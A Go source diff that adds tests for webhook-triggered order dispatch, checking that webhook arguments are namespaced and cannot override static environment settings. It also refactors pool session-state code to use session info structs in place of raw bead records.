+		if cerr := closeBeadStoreHandle(store); cerr != nil {
+			logDispatchError(m.stderr, "gc: webhook dispatch: closing store for %s: %v", scoped, cerr)
+		}
+	}
+
+	trackingRun, err := m.launchResolvedDispatch(ctx, store, target, a, m.cityPath, req.Vars, req.ExecEnv, closeStore)
+	if err != nil {
+		closeStore() // nothing launched; release the handle we opened
+		return orderdispatch.DispatchResult{ScopedName: scoped}, fmt.Errorf("creating tracking bead for %s: %w", scoped, err)
+	}
+	return orderdispatch.DispatchResult{ScopedName: scoped, TrackingID: trackingRun.ID, Fired: true}, nil
+}
diff --git a/cmd/gc/order_dispatch_seam_test.go b/cmd/gc/order_dispatch_seam_test.go
new file mode 100644
index 0000000000..c07f66b37a
--- /dev/null
+++ b/cmd/gc/order_dispatch_seam_test.go
@@ -0,0 +1,154 @@
+package main
+
+import (
+	"context"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/events"
+	"github.com/gastownhall/gascity/internal/orderdispatch"
+	"github.com/gastownhall/gascity/internal/orders"
+	"github.com/gastownhall/gascity/internal/webhookmatch"
+)
+
+// TestDispatchSeamFiresExecViaDispatchOne proves the exported orderdispatch
+// seam fires a webhook-triggered exec order through the SAME dispatchOne core the
+// tick loop uses, and — the R4 assertion at the dispatch layer — that the
+// namespaced exec-env overlay a webhook supplies (GC_WEBHOOK_ARG_*) reaches the
+// process WITHOUT letting a payload value shadow a static [order.env] entry.
+func TestDispatchSeamFiresExecViaDispatchOne(t *testing.T) {
+	cityDir := t.TempDir()
+	store := beads.NewMemStore()
+	var rec memRecorder
+
+	envCh := make(chan []string, 1)
+	execRun := func(_ context.Context, _ /*cmd*/, _ /*dir*/ string, env []string) ([]byte, error) {
+		envCh <- env
+		return nil, nil
+	}
+
+	// A filler auto-order keeps the dispatcher non-nil; the webhook order is fired
+	// through the seam directly, so it need not appear in the dispatcher's set.
+	filler := orders.Order{Name: "filler", Trigger: "cooldown", Interval: "1h", Exec: "true"}
+	ad := buildOrderDispatcherFromListExec([]orders.Order{filler}, store, nil, execRun, &rec)
+	if ad == nil {
+		t.Fatal("expected non-nil dispatcher")
+	}
+	mad := ad.(*memoryOrderDispatcher)
+	mad.cityPath = cityDir
+
+	// The webhook order declares a static [order.env] FOO=static and a required
+	// param repo. The delivery's extracted args (as E6 would hand them) carry a
+	// payload FOO that must NOT shadow the static one once namespaced.
+	order := orders.Order{
+		Name:    "pr-review-exec",
+		Trigger: "webhook",
+		Exec:    "true",
+		Env:     map[string]string{"FOO": "static"},
+		Params:  map[string]orders.OrderParam{"repo": {Required: true}},
+	}
+	rawVars := map[string]string{"repo": "octo/demo", "FOO": "payload"}
+
+	res, err := mad.Dispatch(context.Background(), orderdispatch.DispatchRequest{
+		Order:   order,
+		Vars:    rawVars,
+		ExecEnv: webhookmatch.ExecEnvVars(rawVars),
+		Source:  orderdispatch.SourceWebhook,
+	})
+	if err != nil {
+		t.Fatalf("Dispatch: %v", err)
+	}
+	if !res.Fired || res.TrackingID == "" {
+		t.Fatalf("expected fired dispatch with tracking id, got %+v", res)
+	}
+
+	drainCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
+	defer cancel()
+	if !mad.drain(drainCtx) {
+		t.Fatal("dispatch did not drain in time")
+	}
+
+	var env []string
+	select {
+	case env = <-envCh:
+	default:
+		t.Fatal("exec never ran (no env captured)")
+	}
+	got := map[string]string{}
+	for _, entry := range env {
+		if k, v, ok := strings.Cut(entry, "="); ok {
+			got[k] = v
+		}
+	}
+
+	// R4: the static [order.env] key is intact — the payload FOO could not shadow
+	// it because the webhook arg was namespaced.
+	if got["FOO"] != "static" {
+		t.Fatalf("env[FOO] = %q, want static (payload must not shadow [order.env])", got["FOO"])
+	}
+	// The namespaced webhook args reach the process under GC_WEBHOOK_ARG_.
+	if got["GC_WEBHOOK_ARG_FOO"] != "payload" {
+		t.Fatalf("env[GC_WEBHOOK_ARG_FOO] = %q, want payload", got["GC_WEBHOOK_ARG_FOO"])
+	}
+	if got["GC_WEBHOOK_ARG_repo"] != "octo/demo" {
+		t.Fatalf("env[GC_WEBHOOK_ARG_repo] = %q, want octo/demo", got["GC_WEBHOOK_ARG_repo"])
+	}
+	// No bare payload key leaked into the environment.
+	if _, bare := got["repo"]; bare {
+		t.Fatalf("env leaked a bare param key repo: %v", got)
+	}
+
+	// The seam went through dispatchOne: OrderFired then OrderCompleted for the
+	// scoped order.
+	if !rec.hasType(events.OrderFired) {
+		t.Fatal("missing OrderFired event; dispatch did not go through dispatchOne")
+	}
+	if !rec.hasSubject("pr-review-exec") {
+		t.Fatal("no event recorded for the fired order subject")
+	}
+}
+
+// TestDispatchSeamRefusesMissingRequiredParam proves the seam itself fail-closes
+// on a missing required param (defense in depth beneath the E6 sink guard):
+// nothing is written and no order fires.
+func TestDispatchSeamRefusesMissingRequiredParam(t *testing.T) {
+	store := beads.NewMemStore()
+	var rec memRecorder
+	ranExec := false
+	execRun := func(context.Context, string, string, []string) ([]byte, error) {
+		ranExec = true
+		return nil, nil
+	}
+	filler := orders.Order{Name: "filler", Trigger: "cooldown", Interval: "1h", Exec: "true"}
+	mad := buildOrderDispatcherFromListExec([]orders.Order{filler}, store, nil, execRun, &rec).(*memoryOrderDispatcher)
+	mad.cityPath = t.TempDir()
+
+	order := orders.Order{
+		Name:    "needs-repo",
+		Trigger: "webhook",
+		Exec:    "true",
+		Params:  map[string]orders.OrderParam{"repo": {Required: true}},
+	}
+	res, err := mad.Dispatch(context.Background(), orderdispatch.DispatchRequest{
+		Order:  order,
+		Vars:   nil, // required repo absent
+		Source: orderdispatch.SourceWebhook,
+	})
+	if err != nil {
+		t.Fatalf("Dispatch: %v", err)
+	}
+	if !res.Rejected || res.Fired {
+		t.Fatalf("expected rejection, got %+v", res)
+	}
+	if res.TrackingID != "" {
+		t.Fatalf("tracking bead written for a refused dispatch: %q", res.TrackingID)
+	}
+	if ranExec {
+		t.Fatal("exec ran despite missing required param")
+	}
+	if !strings.Contains(res.Reason, "repo") {
+		t.Fatalf("reason = %q, want it to name the missing required param", res.Reason)
+	}
+}
diff --git a/cmd/gc/order_dispatch_test.go b/cmd/gc/order_dispatch_test.go
index 15b6bf0a45..c831ff7175 100644
--- a/cmd/gc/order_dispatch_test.go
+++ b/cmd/gc/order_dispatch_test.go
@@ -771,7 +771,7 @@ func TestOrderDispatchEventExecLatestSeqErrorDoesNotRunExec(t *testing.T) {
 	mad.stderr = &stderr
 
 	logs := captureCmdOrderLogs(t, func() {
-		mad.dispatchExec(context.Background(), orders.NewStore(beads.OrdersStore{Store: store}), execStoreTarget{ScopeRoot: t.TempDir()}, mad.aa[0], t.TempDir(), tracking.ID)
+		mad.dispatchExec(context.Background(), orders.NewStore(beads.OrdersStore{Store: store}), execStoreTarget{ScopeRoot: t.TempDir()}, mad.aa[0], t.TempDir(), tracking.ID, nil)
 	})
 
 	if calls != 0 {
@@ -795,7 +795,7 @@ func TestOrderDispatchEventExecLatestSeqErrorDoesNotRunExec(t *testing.T) {
 	eventLog := events.NewFake()
 	eventLog.Record(events.Event{Type: events.BeadClosed, Actor: "test"})
 	mad.ep = eventLog
-	mad.dispatchExec(context.Background(), orders.NewStore(beads.OrdersStore{Store: store}), execStoreTarget{ScopeRoot: t.TempDir()}, mad.aa[0], t.TempDir(), tracking.ID)
+	mad.dispatchExec(context.Background(), orders.NewStore(beads.OrdersStore{Store: store}), execStoreTarget{ScopeRoot: t.TempDir()}, mad.aa[0], t.TempDir(), tracking.ID, nil)
 
 	if calls != 1 {
 		t.Fatalf("exec calls after cursor read recovers = %d, want 1", calls)
@@ -956,7 +956,7 @@ func TestOrderDispatchEventWispLatestSeqErrorDoesNotInstantiate(t *testing.T) {
 	mad := ad.(*memoryOrderDispatcher)
 	mad.stderr = &stderr
 
-	mad.dispatchWisp(context.Background(), store, mad.aa[0], t.TempDir(), tracking.ID)
+	mad.dispatchWisp(context.Background(), store, mad.aa[0], t.TempDir(), tracking.ID, nil)
 
 	all := trackingBeads(t, store, "order-run:release-watch")
 	if len(all) != 1 {
@@ -1011,7 +1011,7 @@ description = "Inspect convoy {{convoy_id}}"
 	}
 	mad := ad.(*memoryOrderDispatcher)
 
-	mad.dispatchWisp(context.Background(), store, mad.aa[0], t.TempDir(), tracking.ID)
+	mad.dispatchWisp(context.Background(), store, mad.aa[0], t.TempDir(), tracking.ID, nil)
 
 	all := trackingBeads(t, store, "order-run:convoy-patrol")
 	if len(all) != 1 {
@@ -1643,7 +1643,7 @@ func TestOrderDispatchExecFailure(t *testing.T) {
 	mad.stderr = &stderr
 
 	logs := captureCmdOrderLogs(t, func() {
-		mad.dispatchExec(context.Background(), orders.NewStore(beads.OrdersStore{Store: store}), execStoreTarget{ScopeRoot: t.TempDir()}, aa[0], t.TempDir(), tracking.ID)
+		mad.dispatchExec(context.Background(), orders.NewStore(beads.OrdersStore{Store: store}), execStoreTarget{ScopeRoot: t.TempDir()}, aa[0], t.TempDir(), tracking.ID, nil)
 	})
 
 	// Check tracking bead has exec-failed label.
@@ -1700,7 +1700,7 @@ dolt.auto-start: false
 	mad.stderr = &stderr
 
 	logs := captureCmdOrderLogs(t, func() {
-		mad.dispatchExec(context.Background(), orders.NewStore(beads.OrdersStore{Store: store}), execStoreTarget{ScopeRoot: cityDir, ScopeKind: "city", Prefix: "ct"}, a, cityDir, tracking.ID)
+		mad.dispatchExec(context.Background(), orders.NewStore(beads.OrdersStore{Store: store}), execStoreTarget{ScopeRoot: cityDir, ScopeKind: "city", Prefix: "ct"}, a, cityDir, tracking.ID, nil)
 	})
 
 	all := trackingBeads(t, store, "order-run:pg-env")
@@ -1750,7 +1750,7 @@ func TestOrderDispatchExecFailureRedactsSecrets(t *testing.T) {
 	mad.stderr = &stderr
 
 	logs := captureCmdOrderLogs(t, func() {
-		mad.dispatchExec(context.Background(), orders.NewStore(beads.OrdersStore{Store: store}), execStoreTarget{ScopeRoot: t.TempDir()}, aa[0], t.TempDir(), tracking.ID)
+		mad.dispatchExec(context.Background(), orders.NewStore(beads.OrdersStore{Store: store}), execStoreTarget{ScopeRoot: t.TempDir()}, aa[0], t.TempDir(), tracking.ID, nil)
 	})
 
 	combined := logs + "\n" + stderr.String()
@@ -8790,7 +8790,7 @@ func TestOrderExecEnvSetsBeadsActorToOrderName(t *testing.T) {
 	target := execStoreTarget{ScopeRoot: cityDir, ScopeKind: "city", Prefix: "pc"}
 	a := orders.Order{Name: "order-tracking-sweep", Trigger: "cooldown", Interval: "1m", Exec: "true"}
 
-	envSlice, err := orderExecEnvWithError(cityDir, nil, target, a)
+	envSlice, err := orderExecEnvWithError(cityDir, nil, target, a, nil)
 	if err != nil {
 		t.Fatalf("orderExecEnvWithError() error = %v", err)
 	}
@@ -8824,7 +8824,7 @@ func TestOrderExecEnvScrubsAmbientDoltEnvForCityWithoutDoltTarget(t *testing.T)
 	target := execStoreTarget{ScopeRoot: cityDir, ScopeKind: "city", Prefix: "pc"}
 	a := orders.Order{Name: "jsonl-export", Trigger: "cooldown", Interval: "15m", Exec: "true"}
 
-	envSlice, err := orderExecEnvWithError(cityDir, nil, target, a)
+	envSlice, err := orderExecEnvWithError(cityDir, nil, target, a, nil)
 	if err != nil {
 		t.Fatalf("orderExecEnvWithError() error = %v", err)
 	}
@@ -8876,7 +8876,7 @@ func TestOrderExecEnvAppliesOrderEnvOverrides(t *testing.T) {
 		},
 	}
 
-	envSlice, err := orderExecEnvWithError(cityDir, nil, target, a)
+	envSlice, err := orderExecEnvWithError(cityDir, nil, target, a, nil)
 	if err != nil {
 		t.Fatalf("orderExecEnvWithError() error = %v", err)
 	}
@@ -8927,7 +8927,7 @@ func TestOrderExecEnvRejectsReservedOrderEnvKeys(t *testing.T) {
 				},
 			}
 
-			_, err := orderExecEnvWithError(cityDir, nil, target, a)
+			_, err := orderExecEnvWithError(cityDir, nil, target, a, nil)
 			if err == nil {
 				t.Fatal("orderExecEnvWithError() succeeded; want reserved env key error")
 			}
@@ -8954,7 +8954,7 @@ func TestOrderExecEnvReservedKeysCoverProjectedEnv(t *testing.T) {
 		FormulaLayer: filepath.Join(packDir, "formulas"),
 	}
 
-	envSlice, err := orderExecEnvWithError(cityDir, nil, target, a)
+	envSlice, err := orderExecEnvWithError(cityDir, nil, target, a, nil)
 	if err != nil {
 		t.Fatalf("orderExecEnvWithError() error = %v", err)
 	}
@@ -8987,7 +8987,7 @@ func TestOrderExecEnvSkipsBeadsActorForUnnamedOrder(t *testing.T) {
 	target := execStoreTarget{ScopeRoot: cityDir, ScopeKind: "city", Prefix: "pc"}
 	a := orders.Order{Trigger: "cooldown", Interval: "1m", Exec: "true"} // no Name
 
-	envSlice, err := orderExecEnvWithError(cityDir, nil, target, a)
+	envSlice, err := orderExecEnvWithError(cityDir, nil, target, a, nil)
 	if err != nil {
 		t.Fatalf("orderExecEnvWithError() error = %v", err)
 	}
@@ -9015,7 +9015,7 @@ dolt.auto-start: false
 	target := execStoreTarget{ScopeRoot: cityDir, ScopeKind: "city", Prefix: "pc"}
 	a := orders.Order{Name: "pg-order", Trigger: "cooldown", Interval: "1m", Exec: "true"}
 
-	_, err := orderExecEnvWithError(cityDir, nil, target, a)
+	_, err := orderExecEnvWithError(cityDir, nil, target, a, nil)
 	if err == nil {
 		t.Fatal("orderExecEnvWithError() error = nil, want postgres projection error")
 	}
@@ -9043,7 +9043,7 @@ dolt.auto-start: false
 	target := execStoreTarget{ScopeRoot: cityDir, ScopeKind: "city", Prefix: "ct"}
 	a := orders.Order{Name: "pg-city-order", Trigger: "cooldown", Interval: "1m", Exec: "true"}
 
-	env, err := orderExecEnvWithError(cityDir, nil, target, a)
+	env, err := orderExecEnvWithError(cityDir, nil, target, a, nil)
 	if err != nil {
 		t.Fatalf("orderExecEnvWithError() error = %v", err)
 	}
diff --git a/cmd/gc/order_store.go b/cmd/gc/order_store.go
index 0c831371a0..a3bccc8ecc 100644
--- a/cmd/gc/order_store.go
+++ b/cmd/gc/order_store.go
@@ -146,7 +146,7 @@ func orderStoreTargetKey(target execStoreTarget) string {
 	return target.ScopeKind + "\x00" + filepath.Clean(target.ScopeRoot)
 }
 
-func orderExecEnvWithError(cityPath string, cfg *config.City, target execStoreTarget, a orders.Order) ([]string, error) {
+func orderExecEnvWithError(cityPath string, cfg *config.City, target execStoreTarget, a orders.Order, vars map[string]string) ([]string, error) {
 	if err := validateOrderExecEnvOverrides(a); err != nil {
 		return nil, err
 	}
@@ -204,6 +204,13 @@ func orderExecEnvWithError(cityPath string, cfg *config.City, target execStoreTa
 	for k, v := range a.Env {
 		env[k] = v
 	}
+	// Dispatch-time vars (webhook rule args / `gc order run --var`) overlay
+	// last so the args channel reaches an exec order's process. Reserved-key
+	// namespacing/guarding for these dynamic vars is deferred (see the design's
+	// R4); the static [order.env] guard above is unchanged.
+	for k, v := range vars {
+		env[k] = v
+	}
 	return mergeRuntimeEnv(nil, env), nil
 }
 
@@ -230,7 +237,7 @@ func orderTriggerOptionsForTarget(cityPath string, cfg *config.City, target exec
 	if a.Trigger != "condition" || strings.TrimSpace(cityPath) == "" {
 		return orders.TriggerOptions{}, nil
 	}
-	env, err := orderExecEnvWithError(cityPath, cfg, target, a)
+	env, err := orderExecEnvWithError(cityPath, cfg, target, a, nil)
 	if err != nil {
 		return orders.TriggerOptions{}, err
 	}
diff --git a/cmd/gc/pool_desired_state.go b/cmd/gc/pool_desired_state.go
index dbb922bcbd..7b3687d0b9 100644
--- a/cmd/gc/pool_desired_state.go
+++ b/cmd/gc/pool_desired_state.go
@@ -78,37 +78,37 @@ func PoolDesiredCounts(states []PoolDesiredState) map[string]int {
 func ComputePoolDesiredStates(
 	cfg *config.City,
 	assignedWorkBeads []beads.Bead,
-	sessionBeads []beads.Bead,
+	sessionInfos []sessionpkg.Info,
 	scaleCheckCounts map[string]int,
 ) []PoolDesiredState {
-	return computePoolDesiredStates(cfg, assignedWorkBeads, sessionBeads, scaleCheckCounts, nil, nil)
+	return computePoolDesiredStates(cfg, assignedWorkBeads, sessionInfos, scaleCheckCounts, nil, nil)
 }
 
 func ComputePoolDesiredStatesTraced(
 	cfg *config.City,
 	assignedWorkBeads []beads.Bead,
-	sessionBeads []beads.Bead,
+	sessionInfos []sessionpkg.Info,
 	scaleCheckCounts map[string]int,
 	trace *sessionReconcilerTraceCycle,
 ) []PoolDesiredState {
-	return computePoolDesiredStates(cfg, assignedWorkBeads, sessionBeads, scaleCheckCounts, nil, trace)
+	return computePoolDesiredStates(cfg, assignedWorkBeads, sessionInfos, scaleCheckCounts, nil, trace)
 }
 
 func ComputePoolDesiredStatesWithDemandTraced(
 	cfg *config.City,
 	assignedWorkBeads []beads.Bead,
-	sessionBeads []beads.Bead,
+	sessionInfos []sessionpkg.Info,
 	scaleCheckCounts map[string]int,
 	scaleCheckDemand map[string]scaleCheckDemand,
 	trace *sessionReconcilerTraceCycle,
 ) []PoolDesiredState {
-	return computePoolDesiredStates(cfg, assignedWorkBeads, sessionBeads, scaleCheckCounts, scaleCheckDemand, trace)
+	return computePoolDesiredStates(cfg, assignedWorkBeads, sessionInfos, scaleCheckCounts, scaleCheckDemand, trace)
 }
 
 func computePoolDesiredStates(
 	cfg *config.City,
 	assignedWorkBeads []beads.Bead,
-	sessionBeads []beads.Bead,
+	sessionInfos []sessionpkg.Info,
 	scaleCheckCounts map[string]int,
 	scaleCheckDemand map[string]scaleCheckDemand,
 	trace *sessionReconcilerTraceCycle,
@@ -122,26 +122,26 @@ func computePoolDesiredStates(
 	assigneeToSessionBeadID := make(map[string]string)
 	sessionBeadTemplate := make(map[string]string)
 	namedSessionBeadIDs := make(map[string]bool)
-	for _, sb := range sessionBeads {
-		if sb.Status == "closed" {
+	for _, sb := range sessionInfos {
+		if sb.Closed {
 			continue
 		}
-		if sessionHasProviderTerminalError(sb) {
+		if sessionHasProviderTerminalErrorInfo(sb) {
 			continue
 		}
-		template := strings.TrimSpace(normalizedSessionTemplate(sb, cfg))
+		template := strings.TrimSpace(normalizedSessionTemplateInfo(sb, cfg))
 		if template != "" {
 			sessionBeadTemplate[sb.ID] = template
 		}
-		for _, id := range sessionBeadAssigneeIdentities(sb) {
+		for _, id := range sessionBeadAssigneeIdentitiesInfo(sb) {
 			assigneeToSessionBeadID[id] = sb.ID
 		}
-		if isNamedSessionBead(sb) {
+		if isNamedSessionInfo(sb) {
 			namedSessionBeadIDs[sb.ID] = true
 		}
 	}
 
-	aliasHeldTemplates := canonicalSingletonAliasHeldTemplates(cfg, sessionBeads)
+	aliasHeldTemplates := canonicalSingletonAliasHeldTemplates(cfg, sessionInfos)
 
 	var resumeRequests []SessionRequest
 	wakeRequestedTemplates := make(map[string]struct{})
@@ -229,10 +229,10 @@ func computePoolDesiredStates(
 				BrainParentSID: strings.TrimSpace(wb.Metadata[beadmeta.BrainParentSIDMetadataKey]),
 			})
 			if trace != nil {
-				trace.recordDecision(string(TraceSitePoolWakeKnownIdentity), template, "", "assigned_work", "scheduled", traceRecordPayload{
+				trace.RecordDecision(TraceSitePoolWakeKnownIdentity, TraceReasonAssignedWork, TraceOutcomeScheduled, template, "", traceRecordPayload{
 					"tier":      "wake-known-identity",
 					"work_bead": wb.ID,
-				}, nil, "")
+				})
 			}
 		}
 	}
@@ -246,7 +246,7 @@ func computePoolDesiredStates(
 			resumeSessionBeadIDs[req.SessionBeadID] = struct{}{}
 		}
 	}
-	inFlightNewRequests := poolInFlightNewRequests(cfg, sessionBeads, resumeSessionBeadIDs)
+	inFlightNewRequests := poolInFlightNewRequests(cfg, sessionInfos, resumeSessionBeadIDs)
 
 	// Merge scale_check demand. In bead-backed reconciliation, scale_check is
 	// the authoritative signal for new unassigned demand only; resume requests
@@ -273,12 +273,12 @@ func computePoolDesiredStates(
 			inFlight := inFlightNewRequests[template]
 			inFlightCount := minInt(len(inFlight), newCount)
 			if scaleCount > 0 && len(inFlight) > 0 && trace != nil {
-				trace.recordDecision(string(TraceSitePoolInFlightReuse), template, "", string(TraceReasonInFlightReuse), "accepted", traceRecordPayload{
+				trace.RecordDecision(TraceSitePoolInFlightReuse, TraceReasonInFlightReuse, TraceOutcomeAccepted, template, "", traceRecordPayload{
 					"scale_check":   scaleCount,
 					"in_flight":     len(inFlight),
 					"reused":        inFlightCount,
 					"anonymous_new": newCount - inFlightCount,
-				}, nil, "")
+				})
 			}
 			for j := 0; j < inFlightCount; j++ {
 				req := inFlight[j]
@@ -329,7 +329,7 @@ func computePoolDesiredStates(
 	return applyNestedCaps(cfg, allRequests, aliasHeldTemplates, trace)
 }
 
-func canonicalSingletonAliasHeldTemplates(cfg *config.City, sessionBeads []beads.Bead) map[string]struct{} {
+func canonicalSingletonAliasHeldTemplates(cfg *config.City, sessionInfos []sessionpkg.Info) map[string]struct{} {
 	held := make(map[string]struct{})
 	if cfg == nil {
 		return held
@@ -340,20 +340,20 @@ func canonicalSingletonAliasHeldTemplates(cfg *config.City, sessionBeads []beads
 			continue
 		}
 		template := agent.QualifiedName()
-		for _, sb := range sessionBeads {
+		for _, sb := range sessionInfos {
 			// None of these own the canonical alias: a closed or drained named
 			// session released it at close via the retire path, a pool-managed bead
 			// never held it, and a failed-create bead released it via
 			// failedCreateIdentityReleased (names.go). Counting any as a live holder
 			// would suppress demand while the alias is actually free, hanging routed
 			// work.
-			if sb.Status == "closed" || isPoolManagedSessionBead(sb) || isDrainedSessionBead(sb) || isFailedCreateSessionBead(sb) {
+			if sb.Closed || isPoolManagedSessionInfo(sb) || isDrainedSessionInfo(sb) || isFailedCreateSessionInfo(sb) {
 				continue
 			}
-			if strings.TrimSpace(sb.Metadata["state"]) == "asleep" {
+			if strings.TrimSpace(sb.MetadataState) == "asleep" {
 				continue
 			}
-			if strings.TrimSpace(sb.Metadata["alias"]) == template {
+			if strings.TrimSpace(sb.Alias) == template {
 				held[template] = struct{}{}
 				break
 			}
@@ -362,14 +362,14 @@ func canonicalSingletonAliasHeldTemplates(cfg *config.City, sessionBeads []beads
 	return held
 }
 
-func poolInFlightNewRequests(cfg *config.City, sessionBeads []beads.Bead, resumeSessionBeadIDs map[string]struct{}) map[string][]SessionRequest {
+func poolInFlightNewRequests(cfg *config.City, sessionInfos []sessionpkg.Info, resumeSessionBeadIDs map[string]struct{}) map[string][]SessionRequest {
 	requests := make(map[string][]SessionRequest)
-	sortedSessionBeads := append([]beads.Bead(nil), sessionBeads...)
-	sort.SliceStable(sortedSessionBeads, func(i, j int) bool {
-		if !sortedSessionBeads[i].CreatedAt.Equal(sortedSessionBeads[j].CreatedAt) {
-			return sortedSessionBeads[i].CreatedAt.Before(sortedSessionBeads[j].CreatedAt)
+	sortedSessionInfos := append([]sessionpkg.Info(nil), sessionInfos...)
+	sort.SliceStable(sortedSessionInfos, func(i, j int) bool {
+		if !sortedSessionInfos[i].CreatedAt.Equal(sortedSessionInfos[j].CreatedAt) {
+			return sortedSessionInfos[i].CreatedAt.Before(sortedSessionInfos[j].CreatedAt)
 		}
-		return sortedSessionBeads[i].ID < sortedSessionBeads[j].ID
+		return sortedSessionInfos[i].ID < sortedSessionInfos[j].ID
 	})
 	for i := range cfg.Agents {
 		agent := &cfg.Agents[i]
@@ -377,32 +377,32 @@ func poolInFlightNewRequests(cfg *config.City, sessionBeads []beads.Bead, resume
 			continue
 		}
 		template := agent.QualifiedName()
-		for _, sb := range sortedSessionBeads {
-			if sb.ID == "" || sb.Status == "closed" {
+		for _, sb := range sortedSessionInfos {
+			if sb.ID == "" || sb.Closed {
 				continue
 			}
-			if sessionHasProviderTerminalError(sb) {
+			if sessionHasProviderTerminalErrorInfo(sb) {
 				continue
 			}
 			if _, ok := resumeSessionBeadIDs[sb.ID]; ok {
 				continue
 			}
-			if !isEphemeralSessionBeadForAgent(sb, agent) || !isPoolManagedSessionBead(sb) {
+			if !isEphemeralSessionInfoForAgent(sb, agent) || !isPoolManagedSessionInfo(sb) {
 				continue
 			}
-			if normalizedSessionTemplate(sb, cfg) != template {
+			if normalizedSessionTemplateInfo(sb, cfg) != template {
 				continue
 			}
-			if !poolSessionConsumesNewDemand(sb) {
+			if !poolSessionConsumesNewDemandInfo(sb) {
 				continue
 			}
 			requests[template] = append(requests[template], SessionRequest{
 				Template:       template,
 				Tier:           "new",
 				SessionBeadID:  sb.ID,
-				WorkBeadID:     strings.TrimSpace(sb.Metadata[beadmeta.TriggerBeadIDMetadataKey]),
-				WorkStoreRef:   strings.TrimSpace(sb.Metadata[beadmeta.TriggerBeadStoreRefMetadataKey]),
-				BrainParentSID: strings.TrimSpace(sb.Metadata[beadmeta.BrainParentSIDMetadataKey]),
+				WorkBeadID:     strings.TrimSpace(sb.TriggerBeadID),
+				WorkStoreRef:   strings.TrimSpace(sb.TriggerBeadStoreRef),
+				BrainParentSID: strings.TrimSpace(sb.BrainParentSID),
 			})
 		}
 	}
@@ -420,6 +420,17 @@ func poolSessionConsumesNewDemand(session beads.Bead) bool {
 	return state == "creating" || state == string(sessionpkg.StateStartPending)
 }
 
+// poolSessionConsumesNewDemandInfo is the session.Info sibling of
+// poolSessionConsumesNewDemand, reading PendingCreateClaim and the raw
+// MetadataState instead of raw bead metadata. Equivalence-proven.
+func poolSessionConsumesNewDemandInfo(info sessionpkg.Info) bool {
+	if info.PendingCreateClaim {
+		return true
+	}
+	state := strings.TrimSpace(info.MetadataState)
+	return state == "creating" || state == string(sessionpkg.StateStartPending)
+}
+
 // applyNestedCaps enforces workspace, rig, and agent max_active_sessions caps.
 // Accepts requests in priority order, rejecting any that would exceed a cap.
 func applyNestedCaps(cfg *config.City, requests []SessionRequest, aliasHeldTemplates map[string]struct{}, trace *sessionReconcilerTraceCycle) []PoolDesiredState {
@@ -448,7 +459,7 @@ func applyNestedCaps(cfg *config.City, requests []SessionRequest, aliasHeldTempl
 		}
 		if site, reason, payload, rejected := usage.rejection(req, limits); rejected {
 			if trace != nil {
-				trace.recordDecision(site, template, "", reason, "rejected", payload, nil, "")
+				trace.RecordDecision(TraceSiteCode(site), TraceReasonCode(reason), TraceOutcomeRejected, template, "", payload)
 			}
 			continue
 		}
@@ -456,9 +467,9 @@ func applyNestedCaps(cfg *config.City, requests []SessionRequest, aliasHeldTempl
 		// Accept.
 		accepted[template] = append(accepted[template], req)
 		if trace != nil {
-			trace.recordDecision("reconciler.pool.accept", template, "", "cap", "accepted", traceRecordPayload{
+			trace.RecordDecision(TraceSitePoolAccept, TraceReasonCap, TraceOutcomeAccepted, template, "", traceRecordPayload{
 				"tier": req.Tier,
-			}, nil, "")
+			})
 		}
 		usage.accept(req, limits)
 	}
@@ -485,11 +496,11 @@ func applyNestedCaps(cfg *config.City, requests []SessionRequest, aliasHeldTempl
 			}
 			accepted[template] = append(accepted[template], req)
 			if trace != nil {
-				trace.recordDecision("reconciler.pool.min_fill", template, "", "min_fill", "accepted", traceRecordPayload{
+				trace.RecordDecision(TraceSitePoolMinFill, TraceReasonMinFill, TraceOutcomeAccepted, template, "", traceRecordPayload{
 					"min":     minSess,
 					"current": usage.agentCount[template],
 					"tier":    "new",
-				}, nil, "")
+				})
 			}
 			usage.accept(req, limits)
 		}
@@ -695,7 +706,7 @@ func recordNewDemandCapTrace(
 			blockingWork = append(blockingWork, req.WorkBeadID)
 		}
 	}
-	trace.recordDecision(site, template, "", reason, "rejected", traceRecordPayload{
+	trace.RecordDecision(TraceSiteCode(site), TraceReasonCode(reason), TraceOutcomeRejected, template, "", traceRecordPayload{
 		"scale_check":          scaleCount,
 		"accepted_new":         newCount,
 		"blocked_new":          scaleCount - newCount,
@@ -704,7 +715,7 @@ func recordNewDemandCapTrace(
 		"blocking_sessions":    blockingSessions,
 		"blocking_work_beads":  blockingWork,
 		"active_capacity_kind": reason,
-	}, nil, "")
+	})
 }
 
 func newDemandBlockingScope(
diff --git a/cmd/gc/pool_desired_state_test.go b/cmd/gc/pool_desired_state_test.go
index dcd1cb1bdd..5da37ae354 100644
--- a/cmd/gc/pool_desired_state_test.go
+++ b/cmd/gc/pool_desired_state_test.go
@@ -127,7 +127,7 @@ func TestComputePoolDesiredStates_ResumeBeatsNew(t *testing.T) {
 	sessions := []beads.Bead{sessionBead("sess-1", "open")}
 	scaleCheck := map[string]int{"rig/claude": 2}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, scaleCheck)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), scaleCheck)
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
@@ -173,7 +173,7 @@ func TestComputePoolDesiredStates_ResumeResolvesAssigneeByAlias(t *testing.T) {
 		},
 	}}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), nil)
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
@@ -217,7 +217,7 @@ func TestComputePoolDesiredStates_ResumeUsesLegacyWorkflowRunTarget(t *testing.T
 		},
 	}}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), nil)
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
@@ -255,7 +255,7 @@ func TestComputePoolDesiredStates_ResumeResolvesAssigneeByAliasHistory(t *testin
 		},
 	}}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), nil)
 
 	reqs := result[0].Requests
 	if len(reqs) != 1 || reqs[0].SessionBeadID != "sess-vi6hhp" {
